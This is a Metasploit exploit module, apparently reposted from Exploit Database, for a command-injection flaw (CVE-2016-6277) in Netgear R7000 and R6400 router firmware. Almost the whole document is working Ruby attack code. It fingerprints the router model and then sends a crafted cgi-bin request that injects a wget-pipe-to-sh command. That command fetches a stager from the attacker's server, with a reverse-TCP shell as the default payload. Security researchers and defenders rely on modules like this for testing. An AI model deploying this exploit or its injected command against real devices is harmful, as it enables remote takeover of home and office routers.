Netgear R7000 / R6400 – ‘cgi-bin’ Command Injection (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2017-03-13
• 类别：

  • remote
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/41598/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection",
  'Description'=> %q{
  This module exploits an arbitrary command injection vulnerability in
  Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
  },
  'License'=> MSF_LICENSE,
  'Platform' => 'linux',
  'Author' => ['thecarterb', 'Acew0rm'],
  'DefaultTarget'=> 0,
  'Privileged' => true,
  'Arch' => ARCH_ARMLE,
  'Targets'=> [
  [ 'Automatic Target', { } ]
  ],
  'References' =>
  [
  [ 'EDB', '40889'],
  [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
  [ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],
  [ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
  [ 'CVE', '2016-6277']
  ],
  'DisclosureDate' => 'Dec 06 2016',
  'DefaultOptions'=>
  {
  'PAYLOAD' => 'linux/armle/mettle_reverse_tcp'
  }
  ))
  
  register_options(
  [
  Opt::RPORT(80)
  ], self.class)
  
  deregister_options('URIPATH')
  end
  
  def scrape(text, start_trig, end_trig)
  text[/#{start_trig}(.*?)#{end_trig}/m, 1]
  end
  
  # Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
  def check
  res = send_request_cgi({'uri'=>'/'})
  if res.nil?
  fail_with(Failure::Unreachable, 'Connection timed out.')
  end
   # Checks for the `WWW-Authenticate` header in the response
  if res.headers["WWW-Authenticate"]
  data = res.to_s
  marker_one = "Basic realm=\"NETGEAR "
  marker_two = "\""
  model = scrape(data, marker_one, marker_two)
  vprint_status("Router is a NETGEAR router (#{model})")
  if model == 'R7000' || model == 'R6400'
  print_good("Router may be vulnerable (NETGEAR #{model})")
  return CheckCode::Detected
  else
  return CheckCode::Safe
  end
  else
  print_error('Router is not a NETGEAR router')
  return CheckCode::Safe
  end
  end
  
  def exploit
  return if check == CheckCode::Safe
  
  @cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')
  
  send_request_cgi(
  'method' => 'GET',
  'uri'=> "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh"
  )
  end
  
  # Return CmdStager on first request, payload on second
  def on_request_uri(cli, request)
  if @cmdstager
  send_response(cli, @cmdstager)
  @cmdstager = nil
  else
  super
  end
  end
  
  end